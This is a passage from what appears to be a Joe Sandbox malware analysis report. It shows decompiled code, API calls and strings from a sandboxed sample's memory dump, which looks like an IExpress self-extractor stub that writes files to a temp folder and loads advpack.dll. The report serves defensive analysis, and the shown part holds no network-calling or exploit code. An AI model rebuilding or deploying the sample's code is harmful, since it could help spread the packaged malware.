								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0x3d9a40 = _t119;
						 *0x3d8184 = 1;
						 *0x3d8180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x3d9a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x3d8184 = _t135;
							 *0x3d8180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E003D44B9(0, _t138);
					L66:
					return E003D6CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x003d36f9
0x003d3700
0x003d370c
0x003d3716
0x003d3718
0x003d371b
0x003d3721
0x003d372b
0x003d373d
0x003d3745
0x003d3746
0x003d3746
0x003d3749
0x003d37ab
0x003d37ad
0x003d37ae
0x003d37b3
0x003d37b8
0x003d37b8
0x003d37bf
0x003d37bf
0x003d37c5
0x00000000
0x00000000
0x003d37cb
0x003d37cd
0x00000000
0x00000000
0x003d37d5
0x003d37db
0x003d37e8
0x003d37ea
0x003d37ea
0x003d37ea
0x003d37f0
0x003d37f6
0x003d3805
0x003d3817
0x003d382b
0x003d3830
0x003d3836
0x003d383b
0x003d383d
0x003d38eb
0x003d38eb
0x003d38f2
0x003d390c
0x003d3911
0x003d3911
0x003d3913
0x003d394d
0x003d394d
0x003d394f
0x003d38a9
0x003d38a9
0x003d38b0
0x003d38b2
0x003d38b9
0x003d38bb
0x003d38c1
0x003d3975
0x003d38c7
0x003d38de
0x003d38e0
0x003d38e0
0x003d397b
0x003d397d
0x003d39a9
0x003d397f
0x003d3982
0x003d398b
0x003d398d
0x003d398f
0x003d399f
0x003d39a1
0x003d3991
0x003d3991
0x003d3991
0x003d398f
0x003d39af
0x003d39b6
0x003d3a0f
0x003d3a0f
0x003d3a11
0x003d3a13
0x003d3a19
0x00000000
0x003d39b8
0x003d39b8
0x003d39ba
0x00000000
0x00000000
0x003d39bc
0x003d39bf
0x00000000
0x00000000
0x003d39c3
0x003d39c9
0x003d39ce
0x003d39d0
0x003d39e3
0x003d39e5
0x003d39e6
0x003d39f1
0x003d39f7
0x003d39fa
0x003d3a01
0x003d3a04
0x00000000
0x00000000
0x003d3a06
0x003d3a09
0x003d3a09
0x003d3a0b
0x003d3a0b
0x00000000
0x003d3a09
0x003d39fc
0x00000000
0x003d39fc
0x003d39d3
0x003d39d8
0x003d39da
0x00000000
0x00000000
0x00000000
0x003d39dc
0x003d39b6
0x003d3955
0x003d395b
0x00000000
0x00000000
0x003d3961
0x003d3963
0x00000000
0x00000000
0x003d3969
0x003d3969
0x00000000
0x003d3969
0x003d3915
0x003d3915
0x003d391b
0x003d391f
0x00000000
0x00000000
0x003d392d
0x003d3933
0x003d3938
0x003d393a
0x00000000
0x00000000
0x003d3940
0x003d3946
0x003d394b
0x00000000
0x003d394b
0x00000000
0x003d38f2
0x003d3843
0x003d3845
0x00000000
0x00000000
0x003d384b
0x003d384d
0x003d3883
0x003d3885
0x00000000
0x00000000
0x003d389a
0x003d389e
0x003d389e
0x00000000
0x00000000
0x003d38a0
0x003d38a0
0x003d38a2
0x00000000
0x00000000
0x003d38a4
0x00000000
0x003d38a4
0x003d384f
0x003d3851
0x003d3857
0x003d386e
0x003d3877
0x003d387b
0x00000000
0x00000000
0x00000000
0x003d3881
0x003d3859
0x003d385c
0x003d3862
0x003d3866
0x00000000
0x00000000
0x003d3868
0x00000000
0x003d38f4
0x003d38f4
0x003d38f5
0x003d38fb
0x003d3901
0x003d3901
0x00000000
0x003d390a
0x003d374b
0x003d374e
0x003d375c
0x003d3764
0x003d3769
0x003d376e
0x003d3771
0x003d379c
0x003d379f
0x00000000
0x00000000
0x003d37a3
0x003d37a4
0x00000000
0x003d37a4
0x003d3773
0x003d3777
0x003d3778
0x003d377f
0x003d3781
0x003d378e
0x003d378e
0x003d3794
0x00000000
0x003d3794
0x003d3783
0x00000000
0x00000000
0x003d3785
0x003d378c
0x00000000
0x00000000
0x00000000
0x003d378c
0x003d3750
0x00000000
0x003d372d
0x003d372d
0x003d396b
0x003d396b
0x003d396c
0x003d396e
0x003d396f
0x003d3a1e
0x003d3a1e
0x003d3a22
0x003d3a27
0x003d3a3e
0x003d3a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 003D3723
MessageBeep.USER32(00000000), ref: 003D39C3
MessageBoxA.USER32(00000000,00000000,lenta,00000030), ref: 003D39F1

Strings

3, xrefs: 003D3785
lenta, xrefs: 003D39E9, 003D3A19

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$lenta
API String ID: 2519184315-4216304122
Opcode ID: 8661249794681c17089e7e3c53711821824cea660553771cf7ed45913cc2b07c
Instruction ID: c245330de14f665de6bc14e1c80afcf2108907fe178dc6531a9c451b5d443cdc
Opcode Fuzzy Hash: 8661249794681c17089e7e3c53711821824cea660553771cf7ed45913cc2b07c
Instruction Fuzzy Hash: 7891E4B3B022249BDB378B24EC91BEA77B4EB45304F1600ABD8499B341D7708F84DB42

Uniqueness

Uniqueness Score: -1.00%

Function 003D6517 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E003D6517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, char _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x3d9a3c; // 0x3d0000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E003D44B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t5 =  &_a16; // 0x3d2ee8
					_t24 =  *_t5;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x003d651f
0x003d652a
0x003d6534
0x003d656b
0x003d6577
0x003d657c
0x003d657c
0x003d6536
0x003d653e
0x003d6542
0x00000000
0x003d6544
0x003d6547
0x003d654c
0x003d6549
0x003d6549
0x003d6549
0x003d655e
0x003d6560
0x003d6569
0x00000000
0x00000000
0x003d6569
0x003d6542
0x003d6587

APIs

FindResourceA.KERNEL32(003D0000,000007D6,00000005), ref: 003D652A
LoadResource.KERNEL32(003D0000,00000000,?,?,003D2EE8,00000000,003D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 003D6538
DialogBoxIndirectParamA.USER32(003D0000,00000000,00000547,003D19E0,00000000), ref: 003D6557
FreeResource.KERNEL32(00000000,?,?,003D2EE8,00000000,003D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 003D6560

Strings

.=, xrefs: 003D657C

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: .=
API String ID: 1214682469-3076444577
Opcode ID: 1fffb9080120cb46977667a798d3fd2526f1ce1d8a8776ede1238c7dd425f186
Instruction ID: 8084eb097a01040e239560d2dc750dd8d740ad824c2703eb1e22c5c774576ce1
Opcode Fuzzy Hash: 1fffb9080120cb46977667a798d3fd2526f1ce1d8a8776ede1238c7dd425f186
Instruction Fuzzy Hash: 93012673101605BBCB135FA9BC09DBB7B6DEB8A360F010127FE2093250D7719D5086A1

Uniqueness

Uniqueness Score: -1.00%

Function 003D6495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E003D6495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E003D1781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
				_t26 = "advpack.dll";
				E003D658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E003D6CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x003d6495
0x003d6495
0x003d64a0
0x003d64a7
0x003d64ab
0x003d64bd
0x003d64c2
0x003d64d3
0x003d64df
0x003d64e8
0x003d6502
0x003d64ee
0x003d64f9
0x003d64f9
0x003d6516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 003D64DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 003D64F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 003D6502

Strings

advpack.dll, xrefs: 003D64C2, 003D64CD, 003D6501
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D64AC

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-726598030
Opcode ID: 246cc580f5d4ef9154277b431a0e66a37f284814fcf299aaeba911c433db4089
Instruction ID: 945022d7cad2c735eb3cb297e1b167ea5a9be2d6ca83d164a197cc0591248777
Opcode Fuzzy Hash: 246cc580f5d4ef9154277b431a0e66a37f284814fcf299aaeba911c433db4089
Instruction Fuzzy Hash: 5E01D172A00108ABDB12DB64FC4AEEE737DEB51311F500197F595962D0DFB0AECA8A51

Uniqueness

Uniqueness Score: -1.00%

Function 003D4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E003D4169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E003D468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E003D468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E003D44B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E003D44B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x003d417d
0x003d418f
0x003d4193
0x003d41b7
0x003d41d3
0x003d41e6
0x00000000
0x003d41e7
0x003d41d5
0x003d41d6
0x003d41d8
0x003d41d9
0x003d41da
0x003d41df
0x003d41e1
0x00000000
0x003d41e1
0x003d41b9
0x003d41ba
0x003d41bc
0x003d41bd
0x003d41be
0x00000000
0x003d41be
0x00000000

APIs

Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
Part of subcall function 003D468F: SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
Part of subcall function 003D468F: LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
Part of subcall function 003D468F: LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
Part of subcall function 003D468F: memcpy_s.MSVCRT ref: 003D46E5
Part of subcall function 003D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,003D30B4), ref: 003D4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,003D30B4), ref: 003D41E7

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Strings

FINISHMSG, xrefs: 003D4173, 003D41AB
<None>, xrefs: 003D41C5

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 177d5653225be3a6abf36a0b280c4e6f4923ab716b0fb9d562f4fe8e64217676
Instruction ID: 878de875e4707e3e455fc99bd1b14f8017da6b9c1c0c41485132ce70c7f4fddc
Opcode Fuzzy Hash: 177d5653225be3a6abf36a0b280c4e6f4923ab716b0fb9d562f4fe8e64217676
Instruction Fuzzy Hash: 9301ADA73002143BE3271A66BC86F7B629EDB94795F014027B706E57809A78CC414175

Uniqueness

Uniqueness Score: -1.00%

Function 003D19E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E003D19E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E003D43D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x3d9a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E003D6CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x003d19e0
0x003d19e0
0x003d19eb
0x003d19f2
0x003d19f9
0x003d19fc
0x003d1a01
0x003d1a2a
0x003d1a2e
0x003d1a3e
0x003d1a4f
0x003d1a62
0x003d1a6a
0x00000000
0x003d1a03
0x003d1a06
0x003d1a20
0x003d1a20
0x003d1a08
0x003d1a08
0x003d1a14
0x00000000
0x003d1a16
0x003d1a18
0x003d1a70
0x003d1a72
0x003d1a72
0x003d1a14
0x003d1a06
0x003d1a81

APIs

EndDialog.USER32(?,?), ref: 003D1A18
GetDesktopWindow.USER32 ref: 003D1A24
LoadStringA.USER32(?,?,00000200), ref: 003D1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 003D1A62
MessageBeep.USER32(000000FF), ref: 003D1A6A

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: a7444c8bebd7d94c3eae1382e08e2e2f0a8994f806e8b8e23e90853c0269f39b
Instruction ID: d5e9a166a704e36b045859964ababa68a0b33f96e65ddaf4395ad14bd8c37e3c
Opcode Fuzzy Hash: a7444c8bebd7d94c3eae1382e08e2e2f0a8994f806e8b8e23e90853c0269f39b
Instruction Fuzzy Hash: 2011A532502119AFDB12EF64FE09BAE77BCEF49300F104156F91297291DA309F11CB95

Uniqueness

Uniqueness Score: -1.00%

Function 003D63C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E003D63C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E003D1781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
				E003D658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0x3d9124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0x3d9124 = 0x80070052;
					_t37 = 0;
				}
				return E003D6CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x003d63cb
0x003d63d2
0x003d63d8
0x003d63ea
0x003d63f3
0x003d6401
0x003d6402
0x003d6410
0x003d6415
0x003d6433
0x003d6438
0x003d6449
0x003d6463
0x003d646d
0x003d6477
0x003d6477
0x003d647a
0x003d643a
0x003d643a
0x003d6444
0x003d6444
0x003d6492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 003D642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 003D645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 003D647A

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D63EB

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-1955631000
Opcode ID: 9c74b9d5a4e5febb9515e163ddd87d5f44c2353506781a968351b9ad34c27f86
Instruction ID: 7b60223d063a43b966898803be4a33e3da0d0d95fc8f3349b8a775092c8016d7
Opcode Fuzzy Hash: 9c74b9d5a4e5febb9515e163ddd87d5f44c2353506781a968351b9ad34c27f86
Instruction Fuzzy Hash: AA21C372A01218ABD712DF25EC86FEA737CEB45314F00416BF595A7280DAB06D848FA4

Uniqueness

Uniqueness Score: -1.00%

Function 003D47E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D47E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E003D1680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0x3d91e0; // 0x2b58300
						 *(_t34 + 4) = _t11;
						 *0x3d91e0 = _t34;
						return 1;
					}
					_t25 =  *0x3d8584; // 0x0
					E003D44B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0x3d8584; // 0x0
				E003D44B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x003d47e8
0x003d47f0
0x003d47f4
0x003d480f
0x003d4811
0x003d4814
0x003d4814
0x003d4816
0x003d4817
0x003d4829
0x003d482b
0x003d482f
0x003d484f
0x003d4852
0x003d4855
0x003d4855
0x003d4857
0x003d4858
0x003d4860
0x003d4865
0x003d486a
0x003d486f
0x00000000
0x003d4876
0x003d4831
0x003d4841
0x003d4847
0x003d480b
0x00000000
0x003d480b
0x003d47f6
0x003d4806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,003D4E6F), ref: 003D47EA
LocalAlloc.KERNEL32(00000040,?), ref: 003D4823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 003D4847

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D4851

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-1955631000
Opcode ID: 36130f00c282f9bf7f31c6311e0f523181ef226fd04f54eb5659c8832edb8a20
Instruction ID: 3fa7bcc4a6e9b2eea0df313bd05981766a6f3f5e3c4dafa531683250dc2077c4
Opcode Fuzzy Hash: 36130f00c282f9bf7f31c6311e0f523181ef226fd04f54eb5659c8832edb8a20
Instruction Fuzzy Hash: 4D1102766056426FD7178F24FC18F723B6EEB85340F04851BEA829B341DA369C068660

Uniqueness

Uniqueness Score: -1.00%

Function 003D3680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D3680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x003d368c
0x003d368f
0x003d3691
0x003d369f
0x003d36a7
0x00000000
0x00000000
0x003d36ba
0x00000000
0x003d36bc
0x003d36bc
0x003d36c0
0x003d36cb
0x003d36c2
0x003d36c4
0x003d36c4
0x003d36da
0x003d36e0
0x003d36e6
0x00000000
0x00000000
0x003d36e6
0x00000000
0x003d36ba
0x003d36ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 003D369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003D36B2
DispatchMessageA.USER32(?), ref: 003D36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003D36DA

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 45d5bd70e35698eabe3b134a88c4e7c2a455df76b31ba6e0096f88b5db1a9f22
